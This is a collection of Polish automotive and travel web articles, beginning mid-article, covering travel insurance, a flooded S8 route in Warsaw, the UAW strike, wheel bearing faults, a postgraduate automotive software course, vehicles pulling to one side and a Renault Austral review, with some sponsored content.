Jeśli ulegniemy nieszczęśliwemu wypadkowi, zyskujemy prawo do uzyskania odszkodowania. Od czego jest uzależniona jego wysokość? Zasady obliczania są następujące: mnoży się procentowy uszczerbek na zdrowiu przez sumę ubezpieczenia. Procentowy uszczerbek na zdrowiu w przypadku poszczególnych wypadków i uszkodzeń ciała zawsze znajduje się w OWU dołączanym przez ubezpieczyciela. 

Ubezpieczenie bagażu

Niejednokrotnie słyszy się o historiach, kiedy to na lotniskach dochodzi do bardzo nieprzyjemnych incydentów polegających na zagubieniu bagażu. Sytuacja, w której bagaż nie dociera na miejsce docelowe razem z jego właścicielem, nie należy do rzadkich.

Dodatkowo, podczas urlopu bagaże często są kradzione a także mogą zostać zniszczone w wyniku pożaru bądź wypadku.  Aby zabezpieczyć się na tego typu okoliczności, warto wykupić ubezpieczenie bagażu. Istotą takiej polisy jest fakt, iż po zagubieniu bagażu kupujemy ponownie wszystkie niezbędne przedmioty i akcesoria, a następnie firma ubezpieczeniowa wypłaci nam odszkodowanie. 

Ubezpieczenie sprzętu sportowego – kiedy się przydaje?

Popularną, dodatkową opcją oferowaną w przypadku ubezpieczenia turystycznego jest możliwość dokupienia polisy sprzętu sportowego, na przykład nart, roweru, sprzętu do wspinaczki czy nurkowania bądź snowboardu. Ten rodzaj polisy to doskonały wybór dla osób, które spędzają urlop w sposób aktywny i chciałyby mieć pewność, że gdyby doszło do uszkodzenia bądź kradzieży należącego do nich sprzętu, otrzymają stosowane odszkodowanie. 

Polisa AC, czyli zabezpieczenie pojazdu przed uszkodzeniem bądź kradzieżą

Jeśli wybieramy się na urlop samochodem, warto także rozważyć zakup ubezpieczenia AC (autocasco). Jest to dobrowolne ubezpieczenie, które zapewnia ochronę na okoliczność uszkodzenia, zniszczenia bądź kradzieży samochodu. Ten rodzaj polisy jest doskonałym wyborem dla posiadaczy nowych i drogich samochodów. 

Source: Jedź na urlop ze spokojną głową: jak się zabezpieczyć i nie ryzykować nieprzyjemnej niespodzianki w drodze?

Uwaga Warszawa: trasa S8 całkowicie sparaliżowana! Zalało spory odcinek – auta toną, kierowcy zniecierpliwieni

Spis treści

Nad Warszawą przeszedł duży front atmosferyczny, który spowodował rekordowy opad deszczu. Trasa S8 została całkowicie zablokowana – zaczęło się od kierowcy Peugeota, który postanowił przebrnąć przez ogromne rozlewisko, które utworzyło się pod szklanymi tunelami.

Rekordowe opady nad Warszawą

W Warszawie spadło 36 l wody na metr kwadratowy w 3 do 4 godzin. Spowodowało to liczne podtopienia. Taka masa wody, która przepływa obecnie trasą S8 w Warszawie, unieruchomiła samochody na środku drogi.

Dość wspomnieć, że prawie 40 mm deszczu na metr kw. spadło na Bielanach – wg IMGW to ponad 50% normy.

Maksymalnie w ciągu jednej doby spadło w tej dzielnicy nawet 66 mm – tyle samo dokładnie wynosi średnia dla sierpnia – mówił dla TVN24 Grzegorz Walijewski z IMGW.

Opady nad stolicą to efekt frontu atmosferycznego – na wschodzie mamy powietrze zwrotnikowe, na zachodzie polarno-morskie. Masy powietrza są różne jeżeli chodzi o termikę, a na ich styku dochodzi do intensywnych opadów. W godzinach popołudniowych we wschodniej części naszego kraju, czyli Lubelszczyźnie i Podlasiu, IMGW spodziewa się burz, a tym burzom będzie towarzyszył grad.

Wczoraj różnica temperatur wynosiła aż 18 stopni C – w Szczecinie było 16° C, a w okolicach Rzeszowa 34° C.

Trasa S8 w Warszawie – korek w efekcie zalania

Intensywne opady spowodowały kilkukilometrowy korek aut jadących z kierunku wschodniego (od Marek) trasą S8. Ruch cały czas nie jest udrożniony w kierunku centrum. Na miejscu pracują służby – straż pożarna stara się odpompowywać wodę z zalanej niecki, natomiast policja kieruje ruchem. Ten ostatni odbywa się w jednym kierunku, blisko barierki, gdzie jeszcze można przejechać. Policjanci pozostawiają dycycję, czy można przejechać, poszczególnym kierowcom. Ci, którzy sądzą, że w samochodzie mają na tyle duży prześwit, że przejadą przez rozlewisko, powoli, najbliżej bariery przejeżdżają na druga stronę – to kierowcy aut z napędem 4 x 4, sporych SUV-ów i crossoverów oraz ciężarówki.

Kierowcy, którzy utknęli w korku donoszą, że przejechali w 3 godziny jedynie 700 metrów.

Strażacy pracują obecnie nad udrożnieniem w miejscu paraliżu studzienek kanalizacyjnych. Pomagają także poszczególnym kierowcom – w tym kierowcy podtopionego Peugeota – wydostać się z zalanej trasy.

Sytuacja na trasie S8 doprowadziła do zakorkowania również okolicznych dróg. Kierowcy korzystający z popularnych aplikacji, widząc zator na trasie S8, kierują się na Most Północny.

Prognoza dla Warszawy i okolic na najbliższe godziny

Według doniesień IMGW w kolejnych godzinach front wiszący nad stolicą spowoduje też burze, którym będą towarzyszyły silniejsze porywy wiatru, a nawet opady gradu. Na szczęście front powoli słabnie, deszcz jest już zdecydowanie mniejszy niż miało to miejsce kilka godzin temu, ale warto wspomnieć, że był to jeden z większych opadów na północy Mazowsza oraz Warmii i Mazurach od miesięcy!

W kolejnych godzinach niebezpieczne burze będą tworzyły się na Lubelszczyźnie, na wschodnim Mazowszu oraz na Podlasiu i tam właśnie w ciągu zaledwie kilku chwil może spaść aż do 40 l wody na metr kwadratowy.

Źródło: Instytut Meteorologii i Gospodarki Wodnej, TVN 24

Source: Uwaga Warszawa: trasa S8 całkowicie sparaliżowana! Zalało spory odcinek – auta toną, kierowcy zniecierpliwieni

Zeroemisyjność – jak opracować strategię dekarbonizacji dla twojej firmy?

Zanieczyszczenie środowiska i ocieplenie klimatu to globalne problemy i wyzwania dla współczesnych społeczeństw. Podejmuje się szereg działań, które mają albo w jakiś sposób cofnąć zmiany, albo je spowolnić. Branżą stanowiącą potencjał pod tym względem, jest transport. Energia odnawialna w firmie to zarówno wyraz dbałości o środowisko naturalne, jak i potencjalne źródło oszczędności. Jednocześnie przez regulacje unijne jak porozumienie paryskie i FitFor55 firmy są zobligowane do przedsięwzięcia działań zmniejszających emisję gazów cieplarnianych.

Zrozumienie zeroemisyjności

O zeroemisyjności w transporcie możemy mówić wtedy, kiedy w trakcie użytkowania samochód nie emituje gazów cieplarnianych ani szkodliwych związków do atmosfery (źródło: prof4.pl). Jeżeli energia pochodzi z OZE, rezultat ten pozwalają uzyskać samochody elektryczne. Dzięki zrównoważonym technologiom przedsiębiorcy mają dostęp do dużej oferty samochodów o różnych parametrach technicznych, dzięki czemu łatwiej dobiorą modele spełniające ich oczekiwania. Minimalizowanie emisji jest konieczne, dlatego zwiększa się liczba stacji ładowania pojazdów elektryczne, które stanowią ważny punkt w transformacji energetycznej. W maju 2023 r. było w Polsce aż 5597 ogólnodostępnych punktów ładowania pojazdów (raport PSPA). Obejmują one stacje ładowania pojazdów z szybkim i wolnym ładowaniem.

Analiza śladu węglowego firmy – pierwszy krok w kierunku dekarbonizacji

Jednym z pojęć, z jakimi nieodzownie wiąże się zeroemisyjność, jest dekarbonizacja. W uproszczeniu jest to redukcja emisji w biznesie. Ważne jest zrozumienie, ile ich emituje firma poprzez swoją działalność i jakie działania można przedsięwziąć, aby tę emisję zmniejszyć. Zrównoważone technologie w transporcie drogowym pozwalają na analizę tego, jak przebiega ślad węglowy, a to będzie punktem wyjścia do zmian i ułatwi efektowne zarządzanie elektryczną flotą i nie tylko. Z jednej strony zmniejsza się emisja szkodliwych związków, z drugiej można czerpać ekonomiczne korzyści zeroemisyjności.

Jak wprowadzić zmiany na rzecz zrównoważonego rozwoju?

Strategia niskoemisyjna i zarządzanie elektryczną flotą powinno być poprzedzone diagnozą i analizą potrzeb. Podstawą jest ocena śladu węglowego, co wchodzi w skład KPI dekarbonizacji, czyli wskaźników pomiarów postępów w emisji gazów cieplarnianych. Pomóc w tym mogą specjaliści z Shell. Istotnym krokiem jest opracowanie planu dostosowanego do biznesu i wspólnie z ekspertem przygotowanie się do jego wdrożenia. Tutaj także z pomocą przychodzi Shell. Oferuje odpowiednią infrastrukturę – stacje ładowania pojazdów znajdują się w całym kraju, a karty paliwowe pozwalają na generację oszczędności. Można je także zintegrować z systemem telematycznym, co pozwoli na efektywne zarządzanie flotą elektryczną. Warto przy tej okazji przeprowadzić szkolenia z elektromobilności dla kierowców. Strategia niskoemisyjna to również energia odnawialna w firmie.

Podsumowanie

Zeroemisyjność jest przyszłością transportu drogowego. Aby zrobić pierwszy krok w tym kierunku, wystarczy ocena śladu węglowego i obserwacja wskaźników KPI dekarbonizacji. Stosując się do zaleceń ekspertów i wyznaczonego planu, redukcja emisji w biznesie będzie postępować szybko.

Source: Zeroemisyjność – jak opracować strategię dekarbonizacji dla twojej firmy?

Poczekasz na nowe auto dłużej niż rok? To realne. Ten WIELKI strajk może poważnie wstrząsnąć branżą motoryzacyjną

Spis treści

Amerykańscy pracownicy trzech wielkich fabryk samochodowych w USA chcą w przyszłym miesiącu porzucić linie montażowe na rzecz wielkiej pikiety. Przeważającą większością głosów prawie 150 000 członków United Auto Workers (UAW) zatrudnionych w tzw. Wielkiej Trójce w Michigan zdecydowało w minionym tygodniu o zezwoleniu na strajk. Warunkiem jest osiągnięcie porozumienia między związkiem a koncernami Ford, GM i Stellantis przed wygaśnięciem obecnego kontraktu, co będzie mieć miejsce 14 września.

Strajki w fabrykach produkujących samochody – konsekwencje

Przerwa w pracy u największych producentów samochodów w kraju może być ekonomicznym odpowiednikiem czołowego zderzenia między samochodami. Według Anderson Economic Group (firma konsultingowa z Michigan) przerwa w pracy prawie 150 000 pracowników UAW w firmach GM, Ford i Stellantis już po 10 dniach spowodowałaby straty gospodarcze w wysokości ponad 5 miliardów dolarów. Eksperci szacują nie tylko całkowite straty ekonomiczne, ale też obliczają potencjalne straty dla samych pracowników fabryk, producentów i szerzej – dla całego przemysłu samochodowego.

„Straty konsumentów i dealerów są zazwyczaj w pewnym stopniu odizolowane w przypadku bardzo krótkiego strajku” – powiedział Tyler Theile, wiceprezes AEG. „Jednak biorąc pod uwagę, że obecne zapasy oscylują wokół zaledwie 55 dni, branża wygląda inaczej niż podczas ostatniego strajku UAW”.

To nie pierwszy raz w historii, kiedy tak dużych rozmiarów strajk spowodował poważne konsekwencje ekonomiczne i zaburzenia w łańcuchu dostaw branży motoryzacyjnej. W 2o19 r. podczas ostatniej rundy negocjacji zerwano negocjacje między producentami samochodów z Detroit a związkowcami z UAW, co doprowadziło do 40-dniowego, ogólnokrajowego strajku przeciwko General Motors. Efekt? Straty w wysokości 3,6 miliarda dolarów.

Poza wymiarem ekonomicznym, przedłużający się strajk może opóźnić także dostawy nowych aut do dealerów. Stany magazynowe samochodów są już i tak blisko najniższego poziomu w historii, a ceny samochodów są obecnie blisko rekordowych poziomów. Według Instytutu Samar w ciągu ostatnich 20 lat cena auta w Polsce poszybowała ponad 400 procent w górę.

Strajk pracowników fabryk aut w USA – powody

UAW twierdzi, że pracownicy fabryk zasługują na udział w sukcesach wielkiego trio producentów samochodów. W ostatnich latach GM i Stellantis osiągnęły rekordowe zyski, podobnie Ford odnotował dobre wyniki finansowe.

Związek domaga się:

  • podwyżki płac o 40% w trakcie kolejnego czteroletniego kontraktu i 32-godzinnego tygodnia pracy (zamiast dotychczasowych 40 h) bez obniżek wynagrodzeń.
  • powrotu świadczeń, takich jak zapewniane przez firmę planów emerytalnych i podwyżek w zakresie kosztów utrzymania, które pracownicy utracili na krótko przed wkroczeniem rządu, by ratować przemysł samochodowy podczas kryzysu finansowego w 2008 roku.

UAW przygląda się także przepisom chroniącym pracowników w związku z przechodzeniem branży na produkcję pojazdów elektrycznych – ta zwykle wymaga mniejszej, mniej wykwalifikowanej obsługi, często za niższą płacę.

Strajk w fabrykach w USA – prognoza przebiegu

Związek mógłby wstrzymać pracę tylko u jednego, dwóch producentów samochodów lub u wszystkich trzech (co byłoby pierwszym w historii takim wydarzeniem) – oczywiście przy założeniu, że porozumienie nie zostanie osiągnięte. Analitycy uważają, że strajk w Stellantis jest najbardziej prawdopodobny, biorąc pod uwagę, że prezes UAW, Shawn Fain, widowiskowo wyrzucił propozycję kontraktu do kosza podczas transmisji na żywo na Facebooku.

Według AEG straty dla poszczególnych marek w wyniku 10-dniowego strajku wyniosłyby odpowiednio:

  • GM – 380 milionów dolarów
  • Ford – 325 milionów dolarów
  • Stellantis – 285 milionów dolarów

Cztery lata temu strajk był skierowany przeciwko jednemu producentowi samochodów, a nie wszystkim trzem. Jednoczesny strajk wymierzony w Wielką Trójkę prawdopodobnie szybciej wywołałby skutki uboczne, szczególnie w przypadku dostawców znajdujących się w trudnej sytuacji, którzy wciąż próbują odzyskać siły po niższej produkcji spowodowanej problemami w łańcuchu dostaw podczas pandemii.

Źródło: United Auto Workers, Anderson Economic Group, CNBS

Source: Poczekasz na nowe auto dłużej niż rok? To realne. Ten WIELKI strajk może poważnie wstrząsnąć branżą motoryzacyjną

Łożyska i piasty kół – przyczyny i objawy awarii

Spis treści

Za co odpowiada w samochodzie piasta oraz łożysko koła?

Piasta jest elementem, do którego przykręca się koło w samochodzie. Łożysko obecne we wnętrzu piasty umożliwia natomiast płynny obrót koła. Piasty to części samochodowe, które z czasem zmieniły się i w różnych modelach samochodów można spotkać się z odmiennymi rozwiązaniami.

Pierwsza generacja piast wykorzystuje wymienne łożyska, co umożliwia wymianę tego elementu, bez konieczności zakupu nowej piasty. W drugiej generacji piasta jest zespolona z łożyskiem i niemożliwa jest wymiana pojedynczego elementu. W trzeciej generacji piasta jest wyposażona w dodatkowy kołnierz do mocowania tarczy hamulcowej oraz zwrotnicy. Piasty trzeciej generacji wykorzystują często moduł odczytujący prędkość obrotową, co wspomaga pracę układów takich jak ABS czy ESP.

Nowsze generacje piasty wymagają zakupu całego elementu, nie pozwalając na wymianę samego łożyska. Ich budowa sprawia jednak, że są lżejsze i ograniczają ilość potrzebnych części. W efekcie zmniejsza się m.in. masa nieresorowana, mająca wpływ na zużycie m.in. eksploatacyjnych elementów zawieszenia.

Dlaczego łożyska i piasty ulegają awarii?

Chociaż łożyska i piasty są jednymi z najbardziej wytrzymałych podzespołów, to określone sytuacje mogą prowadzić do ich zużycia. Wśród czynników przyczyniających się do zniszczenia piasty lub łożyska wymieniane są:

  • Uderzenia np. przejazd przez dziurę w drodze z wyższą prędkością, czy niezamierzone uderzenie w krawężnik,
  • Nieprawidłowy montaż łożyska, a także brak odpowiedniej ostrożności podczas wymiany innych podzespołów np. tarcz hamulcowych, w które trzeba czasem uderzyć, aby odeszły od piasty,
  • Użytkowanie samochodu z nieprawidłowo ustawioną geometrią kół przez długi czas,
  • Poruszanie się z uszkodzonymi tarczami hamulcowymi. Tarcze są przykręcane do piasty, jeżeli są skrzywione, to wywołują wibracje prowadzące do powstawania luzów w konstrukcji łożyska.

Oczywiście na żywotność piasty i łożyska wpływa również jakość podzespołu. Produkty niskiej jakości są bardziej podatne na awarię, jeżeli zostaną narażone na wymienione czynniki. Szeroki wybór piast oraz łożysk kół jest dostępny na https://deler.pl/c/zawieszenie/lozyska-i-piasty-kol. O konieczności wymiany świadczą charakterystyczne objawy, których pojawienie się wymaga wizyty w serwisie.

Łożyska i piasty kół

Jakie objawy daje uszkodzona piasta i łożysko koła?

Jeżeli dojdzie do uszkodzenia piasty, to podczas jazdy da się zauważyć niepożądane objawy, które wpływają na komfort jazdy. Skrzywiona piasta może powodować problem z utrzymaniem kierunku jazdy i zmuszać kierowcę do ciągłego korygowania kierownicą toru, po którym samochód się porusza. Krzywa piasta utrudnia również sam obrót koła, a więc zwiększa się zużycie paliwa.

Zniszczona piasta może być także źródłem wibracji, które da się odczuć na kierownicy. Oprócz tego na kole ze zniszczoną piastą pojawia się luz – da się go łatwo wykryć po podniesieniu samochodu na podnośniku. Ponadto jeździe mogą towarzyszyć hałasy, takie jak stuki i metaliczne dźwięki. Dźwięk, który wydobywa się z uszkodzonego łożyska, jest najczęściej określany jako huczący bądź szumiący.

Jeżeli dojdzie do całkowitego zniszczenia łożyska, to koło zmienia swój kąt pochylenia. W takiej sytuacji element należy wymienić natychmiast. Uszkodzone łożysko może w skrajnej sytuacji nawet zablokować koło podczas jazdy. Dlatego nie należy lekceważyć pierwszych objawów zużycia łożyska oraz piasty i możliwie szybko usuwać wszelkie pojawiające się awarie.

Source: Łożyska i piasty kół – przyczyny i objawy awarii

Chcesz tworzyć samochody przyszłości? Politechnika Śląska wykształci przyszłych inżynierów motoryzacji

Spis treści

Praca w sektorze automotive oferuje niezwykłe perspektywy, ale wiąże się z bardzo konkretnymi wymaganiami i często wąską specjalizacją. By umożliwić absolwentom studiów licencjackich i magisterskich wejście w branżę i łatwiejsze znalezienie pracy, Politechnika Śląska uruchomiła nowy program przygotowujący do roli inżyniera oprogramowania i testera w obszarze motoryzacyjnym.

Dowiedz się także więcej o kierunku Nowa Mobilność na Politechnice Warszawskiej – tu.

Oprogramowanie w Automotive dla współczesnej mobilności – Cyfryzacja w Automotive

Nowy kierunek studiów podyplomowych „Oprogramowanie w Automotive dla współczesnej mobilności – Cyfryzacja w Automotive” pozwoli uczestnikom zdobyć wąską specjalizację pod okiem ekspertów Politechniki Śląskiej, koncernu motoryzacyjnego Stellantis N.V. oraz firmy świadczącej usługi cyfrowe GlobalLogic. 

Politechnika Śląska Cyfryzacja w Automotive

Cyfryzacja intensywnie wkroczyła do sektora automotive i Politechnika Śląska chce sprostać temu trendowi. Oprogramowanie odgrywa dzisiaj kluczową rolę w pojazdach, a ich rosnący poziom skomplikowania jest efektem współczesnych trendów związanych z elektryfikacją czy autonomicznością oraz rosnących wymagań konsumentów. Firmy działające w tym obszarze potrzebują wykwalifikowanych kadr, by utrzymywać wysokie tempo rozwoju i zachowywać konkurencyjność. Nowy kierunek na Politechnice Śląskiej wykształci takich specjalistów.

Studia na Politechnice Śląskiej – Cyfryzacja w Automotive

Pozwoli uczestnikom zdobyć wiedzę i praktyczne umiejętności niezbędne do zrozumienia zagadnień związanych z sektorem, ze szczególnym uwzględnieniem cyfryzacji i oprogramowania współczesnych pojazdów samochodowych. Osoby, które ukończą studia podyplomowe, będą mogły rozwijać dalej swoją karierę, jednocześnie kształtując współczesny przemysł motoryzacyjny w Polsce i na świecie.

Politechnika Śląska Cyfryzacja w Automotive

– Celem zajęć jest przekazanie uczestnikom praktycznej wiedzy dotyczącej różnych domen współczesnego sektora automotive. Mówimy tu o podstawach tworzenia oprogramowania w nowoczesnych samochodach, ale również systemach jazdy autonomicznej, które niedługo mogą stać się naszą rzeczywistością. Studenci zdobędą również kompetencje dotyczące nowoczesnych zakładów produkcyjnych czy zagadnień związanych z Przemysłem 4.0 – wyjaśnia Patrycja Bajorska, Senior Project Manager w GlobalLogic, firmie będącej oficjalnym partnerem kierunku.

Temat cyfryzacji w automotive studenci będą mogli poznać z unikalnej perspektywy, dzięki kolaboracji trzech organizacji dysponujących wzajemnie uzupełniającą się ekspercką wiedzą z obszaru rozwiązań technologicznych, informatycznych i przeznaczonych ściśle dla branży motoryzacyjnej. Obok zespołu wykładowców z Politechniki Śląskiej, zajęcia poprowadzą także przedstawiciele firm od lat działających w branży motoryzacyjnej – Stellantis N.V oraz GlobalLogic Poland.

Pierwsza z tych firm to jeden z największych koncernów automotive na świecie, którzy zrzesza czternaście marek i dostarcza pojazdy doskonale znane użytkownikom dróg, m.in.:

  • Citroen,
  • Opel,
  • Alfa Romeo,
  • Dodge.

Druga z organizacji jest liderem w dziedzinie inżynierii cyfrowej, z główną siedzibą w Dolinie Krzemowej. Od lat, pomaga markom tworzyć innowacyjne produkty i platformy z wykorzystaniem najnowszych technologii. Obecni w kadrze eksperci mogą pochwalić się bogatym doświadczeniem i szeroką wiedzą praktyczną związaną z zajmowanymi stanowiskami.

Politechnika Śląska Cyfryzacja w Automotive

Kierunek Cyfryzacja w Automotive – Politechnika Śląska – zapisy

Politechnika Śląska informuje, że pierwsza tura rejestracji na studia podyplomowe zakończy się 29 sierpnia 2023 roku. 4 września wystartuje druga tura, która potrwa do 26 września. Studia mają formę niestacjonarną, trwają dwa semestry i są prowadzone w języku polskim. Szczegółowe informacje są dostępne dla zainteresowanych na stronie internetowej Politechniki Śląskiej: https://irk.polsl.pl/pl/offer/REK2023_2024Z_POD/programme/RMT-OWAUTO/?from=registration:REK2023_2024Z_POD/

Źródło: GlobalLogic Poland, Politechnika Śląska

Source: Chcesz tworzyć samochody przyszłości? Politechnika Śląska wykształci przyszłych inżynierów motoryzacji

Kiedy samochód ściąga w lewo lub w prawo – jak wyeliminować to zjawisko? Co sprawdzić?

Spis treści

Dla wielu kierowców wakacje to jedyny okres w roku, w którym wyruszają na dalsze trasy i mają okazję podróżować autostradami. I właśnie wtedy mogą zauważyć, że z ich pojazdem dzieje się coś dziwnego, ponieważ samochód ściąga w lewo lub w drugą stronę. Czasem wystarczy chwycić mocniej kierownicę i wszelkie objawy ustępują. Czasem niezbędne są lekkie korekty. Czasem jazda zamienia się w prawdziwy „pojedynek na szosie”. W każdym z tych przypadków należy jak najszybciej zdiagnozować i wyeliminować problemy. Należy pamiętać, że objawy, które podczas słonecznej pogody „zaledwie” irytują, podczas deszczu mogą okazać się śmiertelnym zagrożeniem.

Więcej auto porad znajdziesz w naszym dziale tu.

Samochód ściąga w lewo lub prawo? Sprawdź ogumienie

Zacznijmy od najprostszych rzeczy. Przyczyną ściągania samochodu może być… zły stan opon. Jeśli po obu stronach pojazdu zauważymy wyraźne różnice ciśnienia w ogumieniu to być może już odnaleźliśmy przyczynę problemów. Jeśli ciśnienie jest prawidłowe, a widać bardzo wyraźną różnicę w wysokości bieżnika, samochód także będzie ściągał podczas jazdy. Czasem takie objawy może powodować błędny kierunek montażu opony.
Oczywiście nierównomierne zużycie bieżnika może być efektem czy objawem innych nieprawidłowości zawieszenia i wówczas wymiana opon tylko na chwilę rozwiąże problem, ponieważ nowe opony bardzo szybko się zużyją.

Auto ściąga tylko podczas hamowania – co sprawdzić?

Jeśli pojazd ściąga tylko podczas hamowania, wszystko wskazuje na to, że problem leży w układzie hamulcowym (najczęściej w przednim). Należy skontrolować stan tarcz, klocków, a także upewnić się, że zaciski działają prawidłowo, a żaden z ruchomych elementów nie jest zapieczony. Wskazówki może dać czasem wstępny pomiar temperatury felg tuż po zakończeniu jazdy. Różnica wyczuwalna ręką pomiędzy jednym a drugim kołem na tej samej osi wskazuje, że jak najszybciej trzeba wjechać na warsztat.

Przyczyną ściągania podczas hamowania jest zwykle nierównomierne tarcie między prawym i lewym przednim hamulcem. Jeśli kontrola powyższych elementów nie ujawni nieprawidłowości warto sprawdzić także stan elastycznych przewodów hamulcowych. W starych samochodach tracą drożność i utrudniają swobodny przepływ płynu hamulcowego.

samochód ściąga w lewo

Samochód ściąga w lewo? Przyjrzyj się łożyskom kół

Powodem ściągania samochodu mogą być zużyte łożyska. Jeśli po jednej stronie są już bardzo wyeksploatowane lub wręcz zardzewiałe, stawiają znacznie większy opór, a to sprawia, że samochód ściąga w stronę, po której znajduje się koło ze zużytym łożyskiem. Łożyska kół można sprawdzić bez zdejmowania opon. Wystarczy unieść samochód i obracać po kolei kołami nasłuchując nietypowych dźwięków. Koniecznie trzeba także chwycić za każde uniesione koło i poruszać nim, szukając ewentualnych luzów.

Powodem ściągania samochodu mogą być zużyte łożyska. Jeśli po jednej stronie są już bardzo wyeksploatowane lub wręcz zardzewiałe, stawiają znacznie większy opór, a to sprawia, że samochód ściąga w stronę, po której znajduje się koło ze zużytym łożyskiem. Łożyska kół można sprawdzić bez zdejmowania opon. Wystarczy unieść samochód i obracać po kolei kołami nasłuchując nietypowych dźwięków. Koniecznie trzeba także chwycić za każde uniesione koło i poruszać nim, szukając ewentualnych luzów.

Ściąganie samochodu w jedną stronę – co warto sprawdzić?

Podstawowe czynności kontrolne to sprawdzenie stanu następujących elementów auta:

  • drążki kierownicze,
  • przeguby kulowe
  • końcówki drążków kierowniczych

Zużyte elementy układu kierowniczego i zawieszenia mogą powodować ściąganie pojazdu w lewo lub w prawo. Przeprowadzenie inspekcji układu kierowniczego i zawieszenia pomoże ustalić, czy problem występuje właśnie tam. Niezbędna jest kontrola wszystkich sworzni, silentbloków i drążków, tak aby upewnić się w jakim stanie jest podwozie.

W przypadku zawieszeń wielowahaczowych warto wymieniać zestawy wahaczy, ponieważ wymiana jednego nie zawsze rozwiązuje problem. Wymiana kompletu przynosi zazwyczaj znacznie lepsze rezultaty, a efekty pracy wystarczają na wiele lat. W autach z kolumnami McPherson zalecamy zawsze kontrolę górnych łożysk kolumn McPhersona (jeśli takie występują) – mówi Jerzy Dziamski, ekspert Garage Gurus .

Prace przy zawieszeniu powinna zakończyć kontrola i regulacja zbieżności kół. Niestety – na tym etapie czasami ujawniają się ślady źle przeprowadzonych napraw powypadkowych. Jeśli mimo sprawnego zawieszenia zbieżności nie da się ustawić, problem może leżeć właśnie po stronie krzywego nadwozia lub odkształconej ramy pomocniczej lub wahaczy. Tego typu uszkodzenia zwykle nie są widoczne podczas typowego przeglądu i dopiero kontrola geometrii zawieszenia wykazuje, że pewne wartości wychodzą ponad zakres korekcji.

Kilka słów o tym, dlaczego samochód ściąga w lewo – możliwe przyczyny – także na filmie tu.

Źródło: Tenneco, Moog, Garage Gurus

Source: Kiedy samochód ściąga w lewo lub w prawo – jak wyeliminować to zjawisko? Co sprawdzić?

Renault Austral – hybrydowy SUV nowej ery

Wypuszczony w 2022 roku Renault Megane E Tech był zapowiedzią wielkich zmian. Należał on jednak do segmentu samochodów w pełni elektrycznych. Jeśli natomiast chodzi o hybrydowe SUV-y Renault, Austral jest początkiem nowej ery w portfolio francuskiej marki, zastępując wysłużonego Kadjara. Już sam wygląd nie pozwala przejść obok niego obojętnie, a to jedynie początek, który zwiastuje więcej ekscytujących rzeczy dla klientów nowego modelu znad Sekwany.

Renault Austral i pierwsze wrażenia

Zacząć trzeba oczywiście od wyżej wspomnianego wyglądu. Mimo że Nowe Renault Austral prezentuje się na pierwszy rzut oka dość masywnie, to jego atletyczna sylwetka nie przytłacza, oferując stylowy design ze sporą liczbą estetycznych detali takich jak wyrazisty przedni pas czy gustowne przetłoczenia na masce.

Najbardziej okazale wygląda oczywiście najwyższa wersja Iconic Esprit Alpine, której bezpośrednią inspiracją było sportowe auto Renault Alpine A110. Jest to zauważalne chociażby wtedy, gdy spojrzy się na nadwozie okraszone szarym satynowym lakierem i czarne połyskujące dodatki, takie jak 20-calowe felgi, dach, listwy oraz przyciemnione logo na froncie.

Renault Austral i to co najważniejsze, czyli wnętrze

Wsiadając za kierownicę Australa, przed naszymi oczami staje nowoczesny kokpit. Deska rozdzielcza jest w pełni cyfrowa – składa się na nią frontowy zestaw zegarów, a także wyświetlacz Head-Up. Ponadto po prawej stronie od kierowcy zamontowano ekran wyposażony m.in. w system multimedialny openR link czy zespół zegarów i wskaźników z kolorowym 12,3-calowym ekranem TFT.

Trzeba również dodać, że ergonomia kabiny stoi na bardzo wysokim poziomie – mimo że wszystkie najważniejsze elementy znajdują się w zasięgu ręki, kierowca czy pasażerowie nie mogą narzekać na brak swobody.

Co znajduje się pod maską Nowego Renault Austral?

Nowe Renault Austral zostało wyposażone w turbodoładowany silnik benzynowy 1.3 TCe oraz mild hybrid, czyli tzw. miękką hybrydę, która zapewnia wspomaganie rozrusznikiem-alternatorem i małym litowo-jonowym akumulatorem trakcyjnym 12V. Rozwiązanie to jest dostępne w dwóch wersjach – mild hybrid 140 (140 KM i 260 Nm) z manualną skrzynią biegów (opcja ta dotyczy jedynie modeli Equilibre i Techno) oraz mild hybrid 160 (158 KM i 270 Nm) ze skrzynią automatyczną.

Co natomiast w kwestii spalania nowego SUV-a Renault? Według danych producenta zużycie paliwa w cyklu mieszanym WLTP (l/100 km) nie powinno przekroczyć wartości 6,5.

Renault Austral – konfigurator i dostępne wersje

Renault Austral dostępny jest w 5 wersjach nadwozia – podstawowej Equilibre, Techno, Techno Esprit Alpine, Iconic i wcześniej wspomnianej, najwyższej, Iconic Esprit Alpine – które można skonfigurować wedle swoich indywidualnych preferencji. Warto zaznaczyć, że nawet w najtańszym modelu Renault Austral Equilibre, dostępnym od 134 900 zł, znalazły się, takie funkcje jak:

  • system kontroli bezpiecznej odległości,
  • system awaryjnego utrzymywania pasa ruchu,
  • tylne czujniki parkowania,
  • system kontroli bezpiecznej odległości,
  • system kontroli zmęczenia kierowcy,
  • system rozpoznawania znaków drogowych.

A trzeba dodać, że to tylko wybrane elementy wyposażenia standardowego w podstawowej wersji Equilibre! Wyższe modele, chociażby przywoływany wcześniej Iconic Esprit Alpine, którego ceny zaczynają się od 180 900 zł, ma do zaoferowanie jeszcze więcej. Są to przykładowo:

  • inteligentny aktywny regulator prędkości,
  • fotele przednie z wieloma funkcjami (np. elektryczną regulacją podparcia lędźwiowego czy podgrzewaniem).

Możliwości spersonalizowania Nowego Renault Austral są bardzo duże – dla najbardziej wymagających klientów czeka ponadto ekskluzywne wyposażenie opcjonalne, takie jak np. pakiet Harman Kardon czy nadwozie dwukolorowe. Więcej informacji na ten temat, a także wszystkie dane techniczne czy dostępne wersje Nowego Renault Austral znaleźć można na oficjalnej stronie francuskiego koncernu.

Renault Austral – godny następca Kadjara

Pojawiając się na rynku w 2015 roku, Kadjar zyskał wielu fanów. C-SUV-y, czyli kompaktowe auta sportowo-rekreacyjne, to jednak jeden z najdynamiczniej rozwijających się segmentów, który nie lubi stagnacji. Decyzja o stworzeniu nowego modelu, jest więc jak najbardziej uzasadniona. Renault Austral to bardzo udany model z wieloma nowoczesnymi dodatkami (np. funkcją rozpoznawania znaków drogowych, regulacją elektryczną foteli czy światłami przednimi Full LED Adaptive Vision), który oddziela grubą kreską przeszłość, rzucając równocześnie nie lada wyzwanie konkurencji.

